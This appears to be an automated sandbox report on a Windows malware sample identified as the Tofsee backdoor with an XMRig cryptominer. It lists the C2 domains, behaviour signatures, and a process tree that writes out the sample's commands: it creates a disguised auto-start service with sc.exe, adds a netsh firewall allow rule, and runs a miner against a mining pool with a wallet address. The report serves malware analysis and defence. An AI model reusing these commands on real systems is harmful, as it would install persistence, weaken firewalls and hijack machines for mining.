Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    05/11/2021, 10:23

General

  • Target
    33e6609db7b2f9c606acb158b79bd795.exe
  • Size 338KB
  • Sample211105-meszeabda3
  • SHA256 b8bc5b89e9a8d80cb70f83dfae264e47fcef7bc5f1840a5b68b496ef62a2cbfa
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe
    "C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lquaerbg\
      2⤵
        PID:3228
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\agbenwwr.exe" C:\Windows\SysWOW64\lquaerbg\
        2⤵
          PID:3572
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lquaerbg binPath= "C:\Windows\SysWOW64\lquaerbg\agbenwwr.exe /d\"C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2336
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lquaerbg "wifi internet conection"
            2⤵
              PID:600
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lquaerbg
              2⤵
                PID:3536
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:868
              • C:\Windows\SysWOW64\lquaerbg\agbenwwr.exe
                C:\Windows\SysWOW64\lquaerbg\agbenwwr.exe /d"C:\Users\Admin\AppData\Local\Temp\33e6609db7b2f9c606acb158b79bd795.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3672
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2880
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1808

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/1808-137-0x00000000006A0000-0x0000000000791000-memory.dmp

                    memory/1808-132-0x00000000006A0000-0x0000000000791000-memory.dmp

                    memory/2752-117-0x0000000000400000-0x00000000008F8000-memory.dmp

                    memory/2752-116-0x0000000002630000-0x0000000002643000-memory.dmp

                    memory/2880-130-0x0000000000180000-0x0000000000181000-memory.dmp

                    memory/2880-127-0x0000000000470000-0x0000000000485000-memory.dmp

                    memory/2880-129-0x0000000000180000-0x0000000000181000-memory.dmp

                    memory/3672-131-0x0000000000400000-0x00000000008F8000-memory.dmp

                    memory/3672-126-0x0000000000B23000-0x0000000000B34000-memory.dmp